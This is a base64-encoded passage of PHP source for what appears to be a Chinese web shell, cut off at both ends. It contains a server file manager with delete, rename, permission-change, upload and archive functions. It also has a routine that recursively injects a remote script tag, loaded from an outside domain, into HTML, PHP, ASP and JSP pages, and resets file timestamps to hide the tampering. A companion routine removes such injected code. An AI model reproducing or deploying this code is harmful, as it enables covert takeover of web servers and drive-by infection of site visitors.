mRuPScpOyI+IAoJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IsX6wb/Jz7SrIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz9zPXEmcD17JFJFQUxfRElSfSc7Ij4gCgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idWZwIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1Zm4iIHN0eWxlPSJ3aWR0aDoxMjFweDtoZWlnaHQ6MjJweDsiPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo1MHB4OyI+Cgk8L2Zvcm0+Cgk8L2Rpdj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZmlsZWFsbCIgaWQ9ImZpbGVhbGwiIGFjdGlvbj0iP3M9YSZwPXskVEhJU19ESVJ9Ij4KCTx0YWJsZSBib3JkZXI9IjAiPjx0cj4KCTx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo0NTBweDsiPiA8YSBocmVmPSI/cz1hJnA9eyRVUF9ESVJ9Ij48Yj7Jz7y2xL/CvDwvYj48L2E+IDwvdGQ+Cgk8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6ODBweDsiPiCy2df3IDwvdGQ+Cgk8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NDhweDsiPiDK9NDUIDwvdGQ+Cgk8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6MTczcHg7Ij4g0N64xMqxvOQgPC90ZD4KCTx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo3NXB4OyI+ILTz0KEgPC90ZD48L3RyPgpFTkQ7CglpZigoJGhfZCA9IEBvcGVuZGlyKCRwKSkgPT0gTlVMTCkgcmV0dXJuIGZhbHNlOwoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpCgl7CgkJaWYoJEZpbGVuYW1lID09ICcuJyBvciAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7CgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJFJFQUxfRElSLicvJy4kRmlsZW5hbWUpOwoJCWlmKGlzX2RpcigkRmlsZXBhdGgpKQoJCXsKCQkJJEZpbGVwZXJtID0gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRGaWxlcGF0aCksMTAsOCksLTQpOwoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7CgkJCSRGaWxlcGF0aCA9IHVybGVuY29kZSgkRmlsZXBhdGgpOwoJCQllY2hvICJcclxuIi4nIDx0cj48dGQ+IDxhIGhyZWY9Ij9zPWEmcD0nLiRGaWxlcGF0aC4nIj48Zm9udCBmYWNlPSJ3aW5nZGluZ3MiIHNpemU9IjMiPjA8L2ZvbnQ+PGI+ICcuJEZpbGVuYW1lLicgPC9iPjwvYT4gPC90ZD4gJzsKCQkJJEZpbGVuYW1lID0gdXJsZW5jb2RlKCRGaWxlbmFtZSk7CgkJCWVjaG8gJyA8dGQ+IDxhIGhyZWY9IiMiIG9uY2xpY2s9IkRlbG9rKFwnJy4kRmlsZW5hbWUuJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmZGQ9Jy4kRmlsZW5hbWUuJ1wnKTtyZXR1cm4gZmFsc2U7Ij4gyb6z/SA8L2E+ICc7CgkJCWVjaG8gJyA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZW5hbWUuJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbW49Jy4kRmlsZW5hbWUuJyZybj1cJyk7cmV0dXJuIGZhbHNlOyI+ILjEw/sgPC9hPiA8L3RkPiAnOwoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZXBlcm0uJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbWs9Jy4kRmlsZW5hbWUuJyZtZD1cJyk7cmV0dXJuIGZhbHNlOyI+ICcuJEZpbGVwZXJtLicgPC9hPiA8L3RkPiAnOwoJCQllY2hvICcgPHRkPicuJEZpbGV0aW1lLic8L3RkPiAnOwoJCQllY2hvICcgPHRkPiA8L3RkPiA8L3RyPicuIlxyXG4iOwoJCQkkTlVNX0QrKzsKCQl9Cgl9CglAcmV3aW5kZGlyKCRoX2QpOwoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpCgl7CgkJaWYoJEZpbGVuYW1lID09ICcuJyBvciAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7CgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJFJFQUxfRElSLicvJy4kRmlsZW5hbWUpOwoJCWlmKCFpc19kaXIoJEZpbGVwYXRoKSkKCQl7CgkJCSRGaWxldXJscyA9IHN0cl9yZXBsYWNlKEZpbGVfU3RyKCRST09UX0RJUi4nLycpLCRHRVRVUkwsJEZpbGVwYXRoKTsKCQkJJEZpbGVwZXJtID0gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRGaWxlcGF0aCksMTAsOCksLTQpOwoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7CgkJCSRGaWxlc2l6ZSA9IEZpbGVfU2l6ZShAZmlsZXNpemUoJEZpbGVwYXRoKSk7CgkJCWlmKCRGaWxlcGF0aCA9PSBGaWxlX1N0cihfX0ZJTEVfXykpICRmbmFtZSA9ICc8Zm9udCBjb2xvcj0iIzhCMDAwMCI+Jy4kRmlsZW5hbWUuJzwvZm9udD4nOyBlbHNlICRmbmFtZSA9ICRGaWxlbmFtZTsKCQkJZWNobyAiXHJcbiIuJyA8dHI+PHRkPiA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZpbGVzW10iIHZhbHVlPSInLnVybGVuY29kZSgkRmlsZXBhdGgpLiciPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRGaWxldXJscy4nIj4nLiRmbmFtZS4nPC9hPiA8L3RkPic7CgkJCSRGaWxlcGF0aCA9IHVybGVuY29kZSgkRmlsZXBhdGgpOwoJCQkkRmlsZW5hbWUgPSB1cmxlbmNvZGUoJEZpbGVuYW1lKTsKCQkJZWNobyAnIDx0ZD4gPGEgaHJlZj0iP3M9cCZmcD0nLiRUSElTX0RJUi4nJmZuPScuJEZpbGVuYW1lLiciPiCx4LytIDwvYT4gJzsKCQkJZWNobyAnIDxhIGhyZWY9IiMiIG9uY2xpY2s9IklucHV0b2soXCcnLiRGaWxlbmFtZS4nXCcsXCc/cz1hJnA9Jy4kVEhJU19ESVIuJyZtbj0nLiRGaWxlbmFtZS4nJnJuPVwnKTtyZXR1cm4gZmFsc2U7Ij4guMTD+yA8L2E+IDwvdGQ+JzsKCQkJZWNobyAnIDx0ZD4nLiRGaWxlcGVybS4nPC90ZD4gJzsKCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsKCQkJZWNobyAnIDx0ZCBhbGlnbj0icmlnaHQiPiA8YSBocmVmPSI/cz1hJmRmPScuJEZpbGVwYXRoLiciPicuJEZpbGVzaXplLic8L2E+IDwvdGQ+PC90cj4gJy4iXHJcbiI7CgkJCSROVU1fRisrOwoJCX0KCX0KCUBjbG9zZWRpcigkaF9kKTsKCWlmKCEkRmlsZXRpbWUpICRGaWxldGltZSA9ICcyMDA5LTAxLTAxIDAwOjAwOjAwJzsKcHJpbnQ8PDxFTkQKPC90YWJsZT4KPGRpdiBjbGFzcz0iYWN0YWxsIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImFjdGFsbCIgbmFtZT0iYWN0YWxsIiB2YWx1ZT0idW5kZWZpbmVkIj4gCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJpbnZlciIgbmFtZT0iaW52ZXIiIHZhbHVlPSJ1bmRlZmluZWQiPiAKPGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKTsiPiAKPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Iri01sYiIG9uY2xpY2s9IlN1Ym1pdFVybCgnuLTWxsv50aHOxLz+tb3Ct762OiAnLCd7JFRISVNfRElSfScsJ2EnKTtyZXR1cm4gZmFsc2U7Ij4gCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLJvrP9IiBvbmNsaWNrPSJEZWxvaygny/nRoc7EvP4nLCdiJyk7cmV0dXJuIGZhbHNlOyI+IAo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyvTQ1CIgb25jbGljaz0iU3VibWl0VXJsKCfQ3rjEy/nRoc7EvP7K9NDU1rXOqjogJywnMDY2NicsJ2MnKTtyZXR1cm4gZmFsc2U7Ij4gCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLKsbzkIiBvbmNsaWNrPSJDaGVja0RhdGUoJ3skRmlsZXRpbWV9JywnZCcpO3JldHVybiBmYWxzZTsiPiAKPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrTysPwiIG9uY2xpY2s9IlN1Ym1pdFVybCgntPKw/LKiz8LU2Mv50aHOxLz+z8LU2MP7zqo6ICcsJ3NwaWRlci50YXIuZ3onLCdlJyk7cmV0dXJuIGZhbHNlOyI+IArEv8K8KHskTlVNX0R9KSAvIM7EvP4oeyROVU1fRn0pPC9kaXY+IAo8L2Zvcm0+IApFTkQ7CglyZXR1cm4gdHJ1ZTsKfQoKLy/F+sG/udLC7QpmdW5jdGlvbiBHdWFtYV9QYXNzKCRsZW5ndGgpCnsKCSRwb3NzaWJsZSA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7Cgkkc3RyID0gIiI7Cgl3aGlsZShzdHJsZW4oJHN0cikgPCAkbGVuZ3RoKSAkc3RyIC49IHN1YnN0cigkcG9zc2libGUsKHJhbmQoKSAlIHN0cmxlbigkcG9zc2libGUpKSwxKTsKCXJldHVybiAkc3RyOwp9CgpmdW5jdGlvbiBHdWFtYV9NYWtlKCRjb2RlYSwkY29kZWIsJGNvZGVjKQp7CglyZXR1cm4gc3RyX3JlcGxhY2UoJGNvZGVhLEd1YW1hX1Bhc3MoJGNvZGViKSwkY29kZWMpOwp9CgpmdW5jdGlvbiBHdWFtYV9BdXRvKCRncCwkZ3QsJGdsLCRnYywkZ20sJGdmLCRnaSwkZ2ssJGdkLCRnYikKewoJaWYoKCRoX2QgPSBAb3BlbmRpcigkZ3ApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7CglpZigkZ20gPiAxMikgcmV0dXJuIGZhbHNlOwoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpCgl7CgkJaWYoJEZpbGVuYW1lID09ICcuJyB8fCAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7CgkJaWYoJGdsICE9ICcnKXtpZihlcmVnaSgkZ2wsJEZpbGVuYW1lKSkgY29udGludWU7fQoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRncC4nLycuJEZpbGVuYW1lKTsKCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkZ2IpIEd1YW1hX0F1dG8oJEZpbGVwYXRoLCRndCwkZ2wsJGdjLCRnbSwkZ2YsJGdpLCRnaywkZ2QsJGdiKTsKCQlpZihlcmVnaSgkZ3QsJEZpbGVuYW1lKSkKCQl7CgkJCSRmYyA9IEZpbGVfUmVhZCgkRmlsZXBhdGgpOwoJCQlpZigoJGdrICE9ICcnKSAmJiAoc3RyaXN0cigkZmMsY2hvcCgkZ2spKSkpIGNvbnRpbnVlOwoJCQlpZigoJGdmICE9ICcnKSAmJiAoJGdtICE9IDApKSAkZ2NtID0gR3VhbWFfTWFrZSgkZ2YsJGdtLCRnYyk7IGVsc2UgJGdjbSA9ICRnYzsKCQkJaWYoJGdkKSAkZnRpbWUgPSBAZmlsZW10aW1lKCRGaWxlcGF0aCk7CgkJCWlmKCRnaSA9PSAnYScpe2lmKCFzdHJpc3RyKCRmYywnPC9oZWFkPicpKSBjb250aW51ZTsgJGZjbSA9IHN0cl9yZXBsYWNlKCc8L2hlYWQ+JywiXHJcbiIuJGdjbS4iXHJcbiIuJzwvaGVhZD4nLCRmYyk7ICRmY20gPSBzdHJfcmVwbGFjZSgnPC9IRUFEPicsIlxyXG4iLiRnY20uIlxyXG4iLic8L0hFQUQ+JywkZmNtKTt9CgkJCWlmKCRnaSA9PSAnYicpICRmY20gPSAkZ2NtLiJcclxuIi4kZmM7CgkJCWlmKCRnaSA9PSAnYycpICRmY20gPSAkZmMuIlxyXG4iLiRnY207CgkJCWVjaG8gRmlsZV9Xcml0ZSgkRmlsZXBhdGgsJGZjbSwnd2InKSA/ICc8Zm9udCBjb2xvcj0iIzAwNjYwMCI+s8m5pjo8L2ZvbnQ+Jy4kRmlsZXBhdGguJyA8YnI+Jy4iXHJcbiIgOiAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPsqnsNw6PC9mb250PicuJEZpbGVwYXRoLicgPGJyPicuIlxyXG4iOwoJCQlpZigkZ2QpIEB0b3VjaCgkRmlsZXBhdGgsJGZ0aW1lKTsKCQkJb2JfZmx1c2goKTsKCQkJZmx1c2goKTsKCQl9Cgl9CglAY2xvc2VkaXIoJGhfZCk7CglyZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gR3VhbWFfYigpCnsKCWlmKCghZW1wdHkoJF9QT1NUWydncCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ2d0J10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZ2MnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkX1BPU1RbJ2d0J10gPSBzdHJfcmVwbGFjZSgnLicsJ1xcLicsJF9QT1NUWydndCddKTsKCQlpZigkX1BPU1RbJ2lub3V0J10gPT0gJ2EnKSAkX1BPU1RbJ2dsJ10gPSBzdHJfcmVwbGFjZSgnLicsJ1xcLicsJF9QT1NUWydnbCddKTsgZWxzZSAkX1BPU1RbJ2dsJ10gPSAnJzsKCQlpZihzdHJpc3RyKCRfUE9TVFsnZ2MnXSwnWy0nKSAmJiBzdHJpc3RyKCRfUE9TVFsnZ2MnXSwnLV0nKSkKCQl7CgkJCSR0ZW1wID0gZXhwbG9kZSgnWy0nLCRfUE9TVFsnZ2MnXSk7CgkJCSRnayA9ICR0ZW1wWzBdOwoJCQlwcmVnX21hdGNoX2FsbCgiL1xbXC0oW15+XSo/KVwtXF0vaSIsJF9QT1NUWydnYyddLCRuYyk7CgkJCWlmKCFlcmVnaSgiXlswLTldezEsMn0kIiwkbmNbMV1bMF0pKXtlY2hvICc8YSBocmVmPSIjIiBvbmNsaWNrPSJoaXN0b3J5LmJhY2soKTsiPtLss6PW1da5PC9hPic7IHJldHVybiBmYWxzZTt9CgkJCSRnbSA9IChpbnQpJG5jWzFdWzBdOwoJCQkkZ2YgPSAkbmNbMF1bMF07CgkJfQoJCWVsc2UKCQl7CgkJCSRnayA9ICRfUE9TVFsnZ2MnXTsKCQkJJGdtID0gMDsKCQkJJGdmID0gJyc7CgkJfQoJCWlmKCFpc3NldCgkX1BPU1RbJ2d4J10pKSAkZ2sgPSAnJzsKCQkkZ2QgPSBpc3NldCgkX1BPU1RbJ2dkJ10pID8gdHJ1ZSA6IGZhbHNlOwoJCSRnYiA9ICgkX1BPU1RbJ2diJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsKCQllY2hvIEd1YW1hX0F1dG8oJF9QT1NUWydncCddLCRfUE9TVFsnZ3QnXSwkX1BPU1RbJ2dsJ10sJF9QT1NUWydnYyddLCRnbSwkZ2YsJF9QT1NUWydnaSddLCRnaywkZ2QsJGdiKSA/ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJoaXN0b3J5LmJhY2soKTsiPrnSwu3N6rHPPC9hPicgOiAnPGEgaHJlZj0iIyIgb25jbGljaz0iaGlzdG9yeS5iYWNrKCk7Ij7S7LOj1tXWuTwvYT4nOwoJCWVjaG8gJzwvZGl2Pic7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJEZJTEVfRElSID0gRmlsZV9TdHIoZGlybmFtZShfX0ZJTEVfXykpOwoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7CnByaW50PDw8RU5ECjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBGdWxsbChpKQp7CglpZihpPT0wKSByZXR1cm4gZmFsc2U7CiAgU3RyID0gbmV3IEFycmF5KDUpOwogIGlmKGkgPD0gMil7U3RyWzFdID0gInskUk9PVF9ESVJ9IjtTdHJbMl0gPSAieyRGSUxFX0RJUn0iO3Nmb3JtLmdwLnZhbHVlID0gU3RyW2ldO30KICBlbHNle1N0clszXSA9ICIuaHRtfC5odG1sfC5zaHRtbCI7U3RyWzRdID0gIi5odG18Lmh0bWx8LnNodG1sfC5hc3B8LnBocHwuanNwfC5jZ2l8LmFzcHh8LmRvIjtTdHJbNV0gPSAiLmpzIjtzZm9ybS5ndC52YWx1ZSA9IFN0cltpXTt9CiAgcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gYXV0b3J1bigpCnsKCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdncCcpLnZhbHVlID09ICcnKXthbGVydCgnudLC7cK3vrayu8Tczqq/1ScpO3JldHVybiBmYWxzZTt9CglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ3QnKS52YWx1ZSA9PSAnJyl7YWxlcnQoJ87EvP7A4NDNsrvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2djJykudmFsdWUgPT0gJycpe2FsZXJ0KCe50sLttPrC67K7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9InNmb3JtIiBpZD0ic2Zvcm0iIGFjdGlvbj0iP3M9YiI+CjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+udLC7cK3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImdwIiBpZD0iZ3AiIHZhbHVlPSJ7JFJPT1RfRElSfSIgc3R5bGU9IndpZHRoOjUwMHB4OyI+CjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBGdWxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0tt7bOp9Gh1PEtLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7N+NW+uPrEv8K8PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiPrG+s8zQ8sS/wrw8L29wdGlvbj4KPC9zZWxlY3Q+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+zsS8/sDg0M0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imd0IiBpZD0iZ3QiIHZhbHVlPSIuaHRtfC5odG1sfC5zaHRtbCIgc3R5bGU9IndpZHRoOjUwMHB4OyI+CjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBGdWxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0twODQzdGh1PEtLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj6+ssyszsS8/jwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+vrLMrDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1Ij5KU87EvP48L29wdGlvbj4KPC9zZWxlY3Q+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+uf3Cy7bUz/MgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImdsIiB2YWx1ZT0idGVtcGxldHx0ZW1wbGV0c3xkZWZhdWx0fGVkaXRvcnxmY2tlZGl0b3IuaHRtbCIgc3R5bGU9IndpZHRoOjUwMHB4OyIgZGlzYWJsZWQ+CjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iaW5vdXQiIHZhbHVlPSJhIiBvbmNsaWNrPSJnbC5kaXNhYmxlZD1mYWxzZTsiPr+qxvQgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJpbm91dCIgdmFsdWU9ImIiIG9uY2xpY2s9ImdsLmRpc2FibGVkPXRydWU7IiBjaGVja2VkPrnYsdU8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj650sLttPrC6yA8dGV4dGFyZWEgbmFtZT0iZ2MiIGlkPSJnYyIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxODBweDsiPiZsdDtzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdCBzcmM9Imh0dHA6Ly93d3cueHNqeWlnZWNhb2RhbmRlZGFtYS5jb20vYWQuanM/Wy02LV0iJmd0OyZsdDsvc2NyaXB0Jmd0OzwvdGV4dGFyZWE+CjxkaXYgY2xhc3M9Im1zZ2JveCI+udLC7bHk0M7LtcP3OiCzzNDy19S2r9Gw1dJbLTYtXbHqx6kszOa7u86qy+a7+tfWt/ssNrHtyr7B+c67y+a7+tfWt/ss1+608zEyzrssyOe5+7K7seTQzr/J0tSyu7zTWy02LV2x6sepLgo8YnI+udLJz8q+wP06ICZsdDtzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdCBzcmM9Imh0dHA6Ly93d3cueHNqeWlnZWNhb2RhbmRlZGFtYS5jb20vYWQuanM/RU1URFNVIiZndDsmbHQ7L3NjcmlwdCZndDs8L2Rpdj48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjM1cHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImdpIiB2YWx1ZT0iYSIgY2hlY2tlZD6y5cjrJmx0Oy9oZWFkJmd0O7Hqx6nWrsewIAo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImdpIiB2YWx1ZT0iYiI+suXI687EvP7X7raltssgCjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iZ2kiIHZhbHVlPSJjIj6y5cjrzsS8/tfuxKnOsjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZhbHVlPSIxIiBjaGVja2VkPtbHxNy5/cLL1ti4tLT6wusgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnZCIgdmFsdWU9IjEiIGNoZWNrZWQ+saOz1s7EvP7Q3rjEyrG85LK7seQ8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjUwcHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImdiIiB2YWx1ZT0iYSIgY2hlY2tlZD69q7nSwu3TptPD09q4w87EvP680CzX087EvP680LrNzsS8/go8YnI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJnYiIgdmFsdWU9ImIiPr32vau50sLt06bTw9PauMPOxLz+vNA8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iv6rKvLnSwu0iIHN0eWxlPSJ3aWR0aDo4MHB4O2hlaWdodDoyNnB4OyIgb25jbGljaz0iYXV0b3J1bigpOyI+PC9kaXY+CjwvZm9ybT4KRU5EOwpyZXR1cm4gdHJ1ZTsKfQoKLy/F+sG/x+XC7QoKZnVuY3Rpb24gUWluZ21hX0F1dG8oJHFwLCRxdCwkcWMsJHFkLCRxYikKewoJaWYoKCRoX2QgPSBAb3BlbmRpcigkcXApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7Cgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkKCXsKCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsKCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkcXAuJy8nLiRGaWxlbmFtZSk7CgkJaWYoaXNfZGlyKCRGaWxlcGF0aCkgJiYgJHFiKSBRaW5nbWFfQXV0bygkRmlsZXBhdGgsJHF0LCRxYywkcWQsJHFiKTsKCQlpZihlcmVnaSgkcXQsJEZpbGVuYW1lKSkKCQl7CgkJCSRpYyA9IEZpbGVfUmVhZCgkRmlsZXBhdGgpOwoJCQlpZighc3RyaXN0cigkaWMsJHFjKSkgY29udGludWU7CgkJCSRpYyA9IHN0cl9yZXBsYWNlKCRxYywnJywkaWMpOwoJCQlpZigkcWQpICRmdGltZSA9IEBmaWxlbXRpbWUoJEZpbGVwYXRoKTsKCQkJZWNobyBGaWxlX1dyaXRlKCRGaWxlcGF0aCwkaWMsJ3diJykgPyAnPGZvbnQgY29sb3I9IiMwMDY2MDAiPrPJuaY6PC9mb250PicuJEZpbGVwYXRoLicgPGJyPicuIlxyXG4iIDogJzxmb250IGNvbG9yPSIjRkYwMDAwIj7Kp7DcOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIjsKCQkJaWYoJHFkKSBAdG91Y2goJEZpbGVwYXRoLCRmdGltZSk7CgkJCW9iX2ZsdXNoKCk7CgkJCWZsdXNoKCk7CgkJfQoJfQoJQGNsb3NlZGlyKCRoX2QpOwoJcmV0dXJuIHRydWU7Cn0KCmZ1bmN0aW9uIFFpbmdtYV9jKCkKewoJaWYoKCFlbXB0eSgkX1BPU1RbJ3FwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsncXQnXSkpICYmICghZW1wdHkoJF9QT1NUWydxYyddKSkpCgl7CgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwoJCSRxdCA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ3F0J10pOwoJCSRxZCA9IGlzc2V0KCRfUE9TVFsncWQnXSkgPyB0cnVlIDogZmFsc2U7CgkJJHFiID0gKCRfUE9TVFsncWInXSA9PSAnYScpID8gdHJ1ZSA6IGZhbHNlOwoJCWVjaG8gUWluZ21hX0F1dG8oJF9QT1NUWydxcCddLCRxdCwkX1BPU1RbJ3FjJ10sJHFkLCRxYikgPyAnPGEgaHJlZj0iIyIgb25jbGljaz0iaGlzdG9yeS5iYWNrKCk7Ij7H5cLtzeqxzzwvYT4nIDogJzxhIGhyZWY9IiMiIG9uY2xpY2s9Imhpc3RvcnkuYmFjaygpOyI+0uyzo9bV1rk8L2E+JzsKCQllY2hvICc8L2Rpdj4nOwoJCXJldHVybiBmYWxzZTsKCX0KCSRGSUxFX0RJUiA9IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsKCSRST09UX0RJUiA9IEZpbGVfTW9kZSgpOwpwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRnVsbGxsKGkpewoJaWYoaT09MCkgcmV0dXJuIGZhbHNlOwogIFN0ciA9IG5ldyBBcnJheSg1KTsKICBpZihpIDw9IDIpe1N0clsxXSA9ICJ7JFJPT1RfRElSfSI7U3RyWzJdID0gInskRklMRV9ESVJ9Ijt4Zm9ybS5xcC52YWx1ZSA9IFN0cltpXTt9CgllbHNle1N0clszXSA9ICIuaHRtfC5odG1sfC5zaHRtbCI7U3RyWzRdID0gIi5odG18Lmh0bWx8LnNodG1sfC5hc3B8LnBocHwuanNwfC5jZ2l8LmFzcHh8LmRvIjtTdHJbNV0gPSAiLmpzIjt4Zm9ybS5xdC52YWx1ZSA9IFN0cltpXTt9CiAgcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gYXV0b3VwKCl7CglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncXAnKS52YWx1ZSA9PSAnJyl7YWxlcnQoJ8flwu3Ct762srvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3F0JykudmFsdWUgPT0gJycpe2FsZXJ0KCfOxLz+wODQzbK7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdxYycpLnZhbHVlID09ICcnKXthbGVydCgnx+Wz/bT6wuuyu8Tczqq/1ScpO3JldHVybiBmYWxzZTt9Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneGZvcm0nKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KPGZvc